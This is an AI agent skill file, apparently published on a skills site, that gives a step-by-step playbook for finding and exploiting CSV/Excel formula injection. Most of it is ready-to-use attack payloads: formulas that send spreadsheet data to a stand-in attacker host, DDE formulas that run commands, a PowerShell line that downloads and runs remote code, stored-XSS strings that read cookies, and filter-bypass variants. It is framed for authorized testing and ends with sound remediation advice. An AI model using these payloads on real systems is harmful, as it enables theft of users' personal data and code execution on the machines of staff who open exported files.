exploiting-csv-formula-injection

star 618

Identifying and exploiting CSV/Excel formula (DDE) injection in import and export features where attacker-controlled data is written into spreadsheets and executed when opened in Excel or LibreOffice.

xalgord By xalgord schedule Updated 6/6/2026

name: exploiting-csv-formula-injection description: Identifying and exploiting CSV/Excel formula (DDE) injection in import and export features where attacker-controlled data is written into spreadsheets and executed when opened in Excel or LibreOffice. domain: cybersecurity subdomain: web-application-security tags:

  • penetration-testing
  • csv-injection
  • formula-injection
  • dde
  • excel
  • spreadsheet
  • web-security version: '1.0' author: xalgorix license: Apache-2.0 nist_csf:
  • PR.PS-01
  • ID.RA-01
  • PR.DS-10
  • DE.CM-01

Exploiting CSV Formula Injection

When to Use

  • During authorized penetration tests of any application that exports user-controlled data to CSV, XLS, or XLSX
  • When the target has "Export to CSV/Excel", report generators, audit logs, or admin dashboards that dump user-submitted fields
  • When user input (name, address, comment, support ticket, profile field) is later downloaded and opened by another user or an administrator in a spreadsheet client
  • For validating that exported fields are neutralized (prefixed/escaped) before reaching a spreadsheet engine
  • During bug bounty programs targeting injection and client-side code execution via documents

Prerequisites

  • Authorization: Written penetration testing agreement covering client-side execution payloads
  • Microsoft Excel and LibreOffice Calc: To validate behavior across both engines (DDE differs)
  • A controlled victim VM: To safely detonate command-execution payloads (never on production endpoints)
  • Collaborator/OOB host: Burp Collaborator, interactsh, or a logging webhook to confirm HYPERLINK/WEBSERVICE callbacks
  • Two test accounts: One to inject (attacker), one to export/open (victim/admin) where the workflow allows
  • Burp Suite or curl: For submitting payloads into import/profile fields

Critical: Checks Most Often Missed

CSV injection is missed because the injection point and the execution point are in different places — input is stored by the web app but only "fires" later in a desktop spreadsheet. Work through this checklist for every exportable field:

  • Trace input to every export, not just the obvious one. A name field may be safe in the profile page but exported raw in an admin CSV, a billing report, an audit log, or an analytics dump. Find the field that an admin opens.
  • Test all four trigger prefixes. A field is vulnerable if a cell begins with =, +, -, or @. Filters that strip only = still allow +1+1, -1+1, and @SUM(1+1).
  • Leading whitespace / control-char bypass. Excel trims a leading space, tab (\t), carriage return (\r), or line feed before parsing, so =1+1 or \t=cmd|... defeats a naive "starts with =" check while still executing.
  • Comma/quote breakout to control the cell. If your value lands mid-row, inject " or , to break out and start a fresh cell, e.g. foo","=2+5","bar so the formula occupies its own cell.
  • The exfil payloads are the real impact. =HYPERLINK and =WEBSERVICE leak other cells (other users' PII in the same sheet) to your server with one click and no macro warning in many configs — confirm with an OOB callback.
  • DDE command execution path. =cmd|'/c calc'!A1 (and =DDE(...)) launches external programs; modern Excel shows a prompt, but users click through, and legacy/registry-tweaked or LibreOffice setups may auto-run.
  • The stored-XSS-via-CSV variant. If the "CSV" is rendered in a browser (preview pane, in-app table from the uploaded file, or served with the wrong Content-Type), "><script>alert(document.domain)</script> becomes stored XSS, not formula injection — test both outcomes.
  • Round-trip import→export. Upload a CSV containing payloads, then export it back out. Apps often sanitize on display but not on re-export.

Workflow

Step 1: Map Input Sinks and Export Surfaces

Identify every field a user controls that can end up in a downloadable spreadsheet.

# Browse the app through Burp with the attacker account and catalog:
#  - Profile / account fields:  name, company, address, bio, phone
#  - Free-text:                 support tickets, comments, reviews, notes
#  - Identifiers shown in lists: usernames, coupon codes, file names
#  - Bulk import features:       "Import contacts/products from CSV"

# Then find the EXPORT side (often admin-only):
#  GET /admin/users/export?format=csv
#  GET /reports/transactions.xlsx
#  GET /api/v1/orders/export
#  GET /audit/log/download

# Confirm the export Content-Type and whether values are quoted:
curl -s -H "Authorization: $TOKEN_ADMIN" \
  "https://target.example.com/admin/users/export?format=csv" -o export.csv
head -n 5 export.csv
# Note whether each field is wrapped in "..." and whether your stored value
# appears verbatim (unescaped) at the start of a cell.

Step 2: Submit Detection Payloads (Benign Math First)

Use harmless arithmetic that proves the cell is being evaluated, not just stored as text.

# Inject one benign payload per field; the result in the opened sheet tells you:
#   - shows "2"   => formula executed (VULNERABLE)
#   - shows "=1+1"=> stored as literal text (safe / neutralized)

# Standard trigger characters (test ALL of them):
=1+1
+1+1
-1+1
@SUM(1+1)
=1+1)+cmd|'/c calc'!A1     # combined arithmetic + DDE probe

# Whitespace / control-character bypass for "starts-with-=" filters:
 =1+1            # leading space
    =1+1           # leading tab
=1+1%0d          # leading CR variants when submitted URL-encoded

# Cell-breakout when your value lands inside an existing quoted field:
foo","=2*3","bar

# Example: store payload in the "company" profile field via API
curl -s -X PUT -H "Authorization: $TOKEN_ATTACKER" \
  -H "Content-Type: application/json" \
  -d '{"company":"=1+1"}' \
  "https://target.example.com/api/v1/profile"

Step 3: Confirm Execution by Opening the Export

The vulnerability fires when the exported file is opened in a spreadsheet client.

# 1) Trigger / download the export that contains your stored payload:
curl -s -H "Authorization: $TOKEN_ADMIN" \
  "https://target.example.com/admin/users/export?format=csv" -o poc.csv

# 2) Inspect raw bytes (confirm payload is unescaped at cell start):
grep -n "=1+1" poc.csv

# 3) Open in a spreadsheet to validate execution:
libreoffice --calc poc.csv      # LibreOffice Calc
#   or open poc.csv in Microsoft Excel on the victim VM

# Excel behavior: prompts "enable content?" for DDE; arithmetic evaluates
#   silently. LibreOffice evaluates =formulas by default (Tools > Options >
#   Calc > Formula governs this). Record exactly which engine executes and
#   whether a prompt appears.

Step 4: Weaponize — Data Exfiltration via HYPERLINK / WEBSERVICE

These payloads quietly leak other cells (other victims' data) to your server on click/open.

# HYPERLINK: builds a clickable link whose URL embeds a neighbouring cell.
# When the victim clicks the link, your server logs the referenced data.
=HYPERLINK("http://attacker.oob.example/?d="&A1,"View report")
=HYPERLINK("http://attacker.oob.example/?leak="&CONCATENATE(A1,"-",B1),"Click")

# WEBSERVICE (Excel): fires an HTTP GET on OPEN — no click needed in many setups,
# exfiltrating an adjacent cell as a query parameter:
=WEBSERVICE("http://attacker.oob.example/?d="&A2)
=WEBSERVICE(CONCATENATE("http://attacker.oob.example/?u=",A2))

# IMPORTLISTING / IMPORTXML (LibreOffice / Google Sheets analogue):
=IMPORTXML(CONCAT("http://attacker.oob.example/?v=",A1),"//a")

# Confirm the callback on your OOB listener:
#   GET /?d=victim.user@corp.example  <-- exfiltrated cell content
# Use Burp Collaborator or:
python3 -m http.server 8000   # watch the access log for inbound hits

Step 5: Weaponize — Command Execution via DDE

DDE (Dynamic Data Exchange) can launch local programs; useful to demonstrate full client compromise.

# Classic calc.exe proof (replace with a benign marker, NEVER live malware):
=cmd|'/c calc'!A1
=cmd|'/c calc.exe'!A0
@SUM(1+9)*cmd|'/c calc'!A0

# Batched / chained commands to prove arbitrary execution:
=cmd|'/c calc.exe&ping -n 1 attacker.oob.example'!A1

# PowerShell download-cradle pattern (use only on the controlled victim VM):
=cmd|'/c powershell IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.oob.example/p.txt\")'!A1

# Excel shows a chain of warnings ("remote data not accessible", "start app?").
# Document whether the victim profile clicks through. Pair with a phishing
# pretext in the report to reflect realistic user behavior.

Step 6: Test the Stored-XSS-via-CSV-Import Variant

If uploaded CSV content is rendered in the browser instead of (or before) being downloaded, you get stored XSS.

# Upload a CSV whose fields contain HTML/JS rather than formulas:
cat > evil.csv <<'EOF'
name,email
"><script>alert(document.domain)</script>,a@a.test
"><img src=x onerror=alert(document.cookie)>,b@b.test
=HYPERLINK("javascript:alert(1)","x"),c@c.test
EOF

curl -s -X POST -H "Authorization: $TOKEN_ATTACKER" \
  -F "file=@evil.csv;type=text/csv" \
  "https://target.example.com/api/v1/contacts/import"

# Then load the page that previews / lists imported rows:
#   - If the script executes => stored XSS via CSV import
#   - If the response Content-Type is text/html for the "CSV" download =>
#     opening it in a browser executes the markup
curl -s -D - -H "Authorization: $TOKEN_ATTACKER" \
  "https://target.example.com/contacts/preview" -o /dev/null | grep -i content-type

Key Concepts

Concept Description
Formula trigger characters A spreadsheet treats a cell as a formula when it starts with =, +, -, or @
DDE (Dynamic Data Exchange) Legacy IPC mechanism abused via =cmd|'...'!A1 to launch external programs
HYPERLINK exfiltration =HYPERLINK(url&cell,...) leaks adjacent cell data to an attacker URL on click
WEBSERVICE / IMPORTXML Functions that issue outbound HTTP on open, enabling click-less exfiltration
Cell breakout Using , or " to escape an existing quoted field and start a fresh formula cell
Whitespace bypass Leading space/tab/CR is trimmed by Excel before parsing, defeating naive = filters
Stored XSS via CSV When CSV content is rendered as HTML in a browser instead of a spreadsheet client
Neutralization Prefixing risky cells with a single quote ' (or tab) to force literal text

Tools & Systems

Tool Purpose
Microsoft Excel Primary target engine; validates DDE prompts and WEBSERVICE on-open behavior
LibreOffice Calc Cross-engine validation; evaluates formulas and IMPORTXML/WEBSERVICE differently
Burp Suite Intercept and tamper import/profile requests; resend export requests
Burp Collaborator / interactsh Out-of-band listener to confirm HYPERLINK/WEBSERVICE exfil callbacks
python3 -m http.server Simple OOB receiver to capture exfiltrated cell data in access logs
csvlint / xsv Inspect raw exported CSV structure and confirm unescaped payloads

Common Scenarios

Scenario 1: Profile Field to Admin Export

A user sets their company name to =WEBSERVICE("http://attacker.oob/?d="&A1). An administrator later exports the user list to CSV and opens it in Excel; the cell silently exfiltrates the adjacent username/email to the attacker.

Scenario 2: Support Ticket DDE

A free-text support ticket body stores =cmd|'/c calc'!A1. The support agent exports tickets to Excel for triage; opening the file prompts to run an external app, leading to command execution on the agent's workstation.

Scenario 3: CSV Import Round-Trip XSS

A contact-import feature stores "><script>alert(document.domain)</script> from an uploaded CSV. The in-app contacts table renders the field as HTML, producing stored XSS that fires for every user who views the contact list.

Scenario 4: Coupon/Username Enumeration Export

Usernames or coupon codes beginning with - or + (e.g. +44... phone numbers) are exported unescaped, both confirming the lack of neutralization and demonstrating that crafted values execute in finance/marketing exports.

Output Format

## CSV Formula Injection Finding

**Vulnerability**: CSV/Excel Formula (DDE) Injection
**Severity**: High (CVSS 8.0)
**Injection Point**: PUT /api/v1/profile  field "company"
**Execution Point**: GET /admin/users/export?format=csv (opened in Excel/LibreOffice)
**OWASP Category**: A03:2021 - Injection

### Reproduction Steps
1. As attacker account, set profile field "company" to: =WEBSERVICE("http://oob.example/?d="&A1)
2. As administrator, download GET /admin/users/export?format=csv
3. Open export.csv in Microsoft Excel
4. Observe an outbound HTTP request to oob.example carrying the adjacent cell value
5. Replace payload with =cmd|'/c calc'!A1 to demonstrate command execution on open

### Affected Fields / Exports
| Field | Stored Via | Exported By | Outcome |
|-------|-----------|-------------|---------|
| company | PUT /api/v1/profile | /admin/users/export | DDE exec + exfil |
| ticket_body | POST /api/v1/tickets | /admin/tickets.xlsx | DDE exec |
| display_name | PUT /api/v1/profile | contacts preview (HTML) | Stored XSS |

### Evidence
- OOB callback received: GET /?d=victim.user@corp.example
- Raw cell in export.csv: =WEBSERVICE("http://oob.example/?d="&A1)
- Filter bypassed leading-space variant: " =1+1" evaluated to 2

### Impact
- Client-side command execution on any staff member opening exports
- Exfiltration of other users' PII present in the same spreadsheet
- Stored XSS in the in-app contacts table when CSV is rendered as HTML

### Recommendation
1. Neutralize every exported cell that begins with =, +, -, @ (and leading
   space/tab/CR) by prefixing a single quote ' or a tab character.
2. Wrap values in quotes and escape embedded quotes/commas per RFC 4180.
3. Reject or strip formula-leading characters at input validation for fields
   known to be exported.
4. Serve CSV downloads with Content-Type: text/csv and
   Content-Disposition: attachment to prevent in-browser HTML rendering.
5. Disable DDE and the WEBSERVICE/dynamic-data functions via Office group policy
   on workstations that process untrusted exports.
Install via CLI
npx skills add https://github.com/xalgord/xalgorix --skill exploiting-csv-formula-injection
Repository Details
star Stars 618
call_split Forks 109
navigation Branch main
article Path SKILL.md
More from Creator